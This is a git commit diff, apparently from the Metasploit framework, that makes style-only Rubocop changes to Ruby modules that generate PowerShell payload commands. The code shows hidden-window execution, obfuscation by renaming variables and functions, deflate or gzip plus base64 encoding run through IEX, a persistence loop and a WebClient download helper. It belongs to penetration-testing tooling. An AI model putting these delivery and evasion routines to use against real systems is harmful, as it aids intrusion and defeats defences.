Cheat/Rubycop all the things

bug/bundler_fix
Meatballs 2014-07-20 21:07:59 +01:00
parent 474ee81807
commit 5f0533677e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
9 changed files with 308 additions and 353 deletions

View File

@ -3,7 +3,6 @@ require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
@ -16,12 +15,7 @@ module Exploit::Powershell
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
'net',
'reflection',
'old',
'msil'
]]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
], self.class)
end
@ -36,7 +30,7 @@ module Exploit::Powershell
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
@ -56,7 +50,7 @@ module Exploit::Powershell
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
@ -75,14 +69,14 @@ module Exploit::Powershell
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1,1] != "\\")
opts[:path] << "\\"
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = "powershell"
binary = 'powershell'
else
binary = "powershell.exe"
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
@ -122,13 +116,13 @@ module Exploit::Powershell
#
# @return [String] Powershell command arguments
def generate_psh_args(opts)
return "" unless opts
return '' unless opts
unless opts.has_key? :shorten
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = " "
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
@ -140,25 +134,25 @@ module Exploit::Powershell
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << "-NoExit " if value
arg_string << '-NoExit ' if value
when :nologo
arg_string << "-NoLogo " if value
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << "-NonInteractive " if value
arg_string << '-NonInteractive ' if value
when :mta
arg_string << "-Mta " if value
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << "-Sta " if value
arg_string << '-Sta ' if value
when :noprofile
arg_string << "-NoProfile " if value
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
#Command must be last (unless from stdin - etc)
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
@ -182,10 +176,10 @@ module Exploit::Powershell
arg_string.gsub!('-WindowStyle ', '-w ')
end
#Strip off first space character
# Strip off first space character
arg_string = arg_string[1..-1]
#Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
@ -202,14 +196,14 @@ module Exploit::Powershell
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
:noprofile => true,
:windowstyle => 'hidden',
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'","''")
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
@ -224,7 +218,7 @@ $s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n",';')
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
@ -234,7 +228,7 @@ if([IntPtr]::Size -eq 4){
};
EOS
archictecure_detection.gsub!("\n","")
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
@ -264,17 +258,17 @@ EOS
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts={})
def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
@ -285,15 +279,15 @@ EOS
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
raise RuntimeError, "MSIL Powershell method no longer exists"
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
raise RuntimeError, "No Powershell method specified"
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
@ -334,8 +328,8 @@ EOS
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
:noprofile => true,
:windowstyle => 'hidden'
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
@ -345,14 +339,14 @@ EOS
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << " "
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'","''")
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
@ -370,20 +364,17 @@ EOS
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
end
end
end

View File

@ -9,58 +9,54 @@ require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods'
module Rex
module Exploitation
module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
module Powershell
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end
end

View File

@ -2,9 +2,7 @@
module Rex
module Exploitation
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
@ -14,7 +12,7 @@ module Powershell
include Parser
include Obfu
def initialize(name,code)
def initialize(name, code)
@name = name
@code = code
populate_params
@ -37,7 +35,7 @@ module Powershell
start = code.index(PARAMETER_REGEX)
return unless start
# Get start of our block
idx = scan_with_index('(',code[start..-1]).first.last + start
idx = scan_with_index('(', code[start..-1]).first.last + start
pclause = block_extract(idx)
matches = pclause.scan(FUNCTION_REGEX)
@ -50,7 +48,7 @@ module Powershell
if value
if klass
name = value
@params << Param.new(klass,name)
@params << Param.new(klass, name)
break
else
klass = value
@ -60,8 +58,6 @@ module Powershell
end
end
end
end
end
end

View File

@ -4,9 +4,7 @@ require 'rex/text'
module Rex
module Exploitation
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
@ -21,9 +19,9 @@ module Powershell
# @return [String] code without comments
def strip_comments
# Multi line
code.gsub!(MULTI_LINE_COMMENTS_REGEX,'')
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
# Single line
code.gsub!(SINGLE_LINE_COMMENTS_REGEX,'')
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
code
end
@ -34,9 +32,9 @@ module Powershell
# @return [String] code without empty lines
def strip_empty_lines
# Windows EOL
code.gsub!(WINDOWS_EOL_REGEX,"\r\n")
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
# UNIX EOL
code.gsub!(UNIX_EOL_REGEX,"\n")
code.gsub!(UNIX_EOL_REGEX, "\n")
code
end
@ -47,7 +45,7 @@ module Powershell
#
# @return [String] code with whitespace stripped
def strip_whitespace
code.gsub!(WHITESPACE_REGEX,' ')
code.gsub!(WHITESPACE_REGEX, ' ')
code
end
@ -58,7 +56,7 @@ module Powershell
# @return [String] code with variable names replaced with unique values
def sub_vars
# Get list of variables, remove reserved
get_var_names.each do |var,sub|
get_var_names.each do |var, _sub|
code.gsub!(var, "$#{@rig.init_var(var)}")
end
@ -72,7 +70,7 @@ module Powershell
# values
def sub_funcs
# Find out function names, make map
get_func_names.each do |var, sub|
get_func_names.each do |var, _sub|
code.gsub!(var, @rig.init_var(var))
end
@ -83,21 +81,18 @@ module Powershell
# Perform standard substitutions
#
# @return [String] code with standard substitution methods applied
def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
# Save us the trouble of breaking injected .NET and such
subs.delete('strip_whitespace') unless get_string_literals.empty?
# Run selected modifiers
subs.each do |modifier|
self.send(modifier)
send(modifier)
end
code.gsub!(EMPTY_LINE_REGEX,'')
code.gsub!(EMPTY_LINE_REGEX, '')
code
end
end # Obfu
end
end
end

View File

@ -5,11 +5,8 @@ require 'rex/text'
module Rex
module Exploitation
module Powershell
module Output
#
# To String
#
@ -32,7 +29,7 @@ module Powershell
# @return [String] Powershell code with line numbers
def to_s_lineno
numbered = ''
code.split(/\r\n|\n/).each_with_index do |line,idx|
code.split(/\r\n|\n/).each_with_index do |line, idx|
numbered << "#{idx}: #{line}"
end
@ -49,27 +46,27 @@ module Powershell
def deflate_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(code,
::Zlib::BEST_COMPRESSION)
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$s=New-Object IO.MemoryStream(,"
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$s.ReadByte();"
psh_expression << "$s.ReadByte();"
psh_expression << '$s.ReadByte();'
psh_expression << '$s.ReadByte();'
# Uncompress and invoke the expression (execute)
psh_expression << "IEX (New-Object IO.StreamReader("
psh_expression << "New-Object IO.Compression.DeflateStream("
psh_expression << "$s,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
psh_expression << ")).ReadToEnd();"
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.DeflateStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
@ -99,17 +96,17 @@ module Powershell
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$s=New-Object IO.MemoryStream(,"
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute)
psh_expression << "IEX (New-Object IO.StreamReader("
psh_expression << "New-Object IO.Compression.GzipStream("
psh_expression << "$s,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
psh_expression << ")).ReadToEnd();"
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.GzipStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
@ -142,15 +139,13 @@ module Powershell
begin
@code = Rex::Text.zlib_inflate(unencoded)
rescue Zlib::DataError => e
raise RuntimeError, "Invalid compression"
raise RuntimeError, 'Invalid compression'
end
end
@code
end
end
end
end
end

View File

@ -2,14 +2,12 @@
module Rex
module Exploitation
module Powershell
class Param
attr_accessor :klass, :name
def initialize(klass,name)
def initialize(klass, name)
@klass = klass.strip
@name = name.strip.gsub(/\s|,/,'')
@name = name.strip.gsub(/\s|,/, '')
end
#
@ -20,8 +18,6 @@ module Powershell
"[#{klass}]$#{name}"
end
end
end
end
end

View File

@ -1,187 +1,183 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str,source=code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
end.map{|m| [m.to_s,m.offset(0)[0]]}
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
raise ArgumentError, "Unknown starting bracket"
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
raise ArgumentError unless idx
if idx < 0 || idx >= code.length
raise ArgumentError, "Invalid index"
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
delims.map {|x| x[1] = x[1] + idx + 1}
c = 1
sidx = nil
# Go through delims till we balance, get idx
while ((c != 0) && (x = delims.shift)) do
sidx = x[1]
x[0] == stop ? c -=1 : c+=1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx+func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name,func_txt)
end
end # Parser
end
end
end
end

View File

@ -2,15 +2,12 @@
module Rex
module Exploitation
module Powershell
##
# Convenience methods for generating powershell code in Ruby
##
module PshMethods
#
# Download file via .NET WebClient
#
@ -20,7 +17,7 @@ module Powershell
# @return [String] Powershell code to download a file
def self.download(src, target)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
end
#
@ -31,9 +28,9 @@ module Powershell
# the application name
#
# @return [String] Powershell code to uninstall an application
def self.uninstall(app,fuzzy=true)
def self.uninstall(app, fuzzy = true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
@ -43,7 +40,7 @@ module Powershell
#
# @return [String] Powershell code to create a SecureString
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end
#
@ -54,7 +51,7 @@ module Powershell
# @return [String] Powershell code to identify the PID of a file
# lock owner
def self.who_locked_file(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
#
@ -65,11 +62,9 @@ module Powershell
# @return [String] Powershell code to return the last time of a user
# login
def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end
end

View File

@ -4,9 +4,7 @@ require 'rex'
module Rex
module Exploitation
module Powershell
class Script
attr_accessor :code
attr_reader :functions, :rig
@ -17,9 +15,9 @@ module Powershell
# Pretend we are actually a string
extend Forwardable
# In case someone messes with String we delegate based on its instance methods
#eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
@ -29,13 +27,13 @@ module Powershell
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
:initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
:end_with?
def initialize(code)
@code = ''
@rig = Rex::RandomIdentifierGenerator.new()
@rig = Rex::RandomIdentifierGenerator.new
begin
# Open code file for reading
@ -50,10 +48,9 @@ module Powershell
# Treat code as a... code
@code = code.to_s.dup # in case we're eating another script
end
@functions = get_func_names.map {|f| get_func(f)}
@functions = get_func_names.map { |f| get_func(f) }
end
##
# Class methods
##
@ -66,7 +63,7 @@ module Powershell
# @param var_name [String] Byte array variable name
#
# @return [String] input_data as a powershell byte array
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
# File will raise an exception if the path contains null byte
if input_data.include? "\x00"
code = input_data
@ -77,15 +74,15 @@ module Powershell
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
1.upto(code.length - 1) do |byte|
if (byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
return psh << lines.join("") + "\r\n"
psh << lines.join('') + "\r\n"
end
#
@ -93,11 +90,9 @@ module Powershell
#
# @return [Array] Code modifiers
def self.code_modifiers
self.instance_methods.select {|m| m =~ /^(strip|sub)/}
instance_methods.select { |m| m =~ /^(strip|sub)/ }
end
end # class Script
end
end
end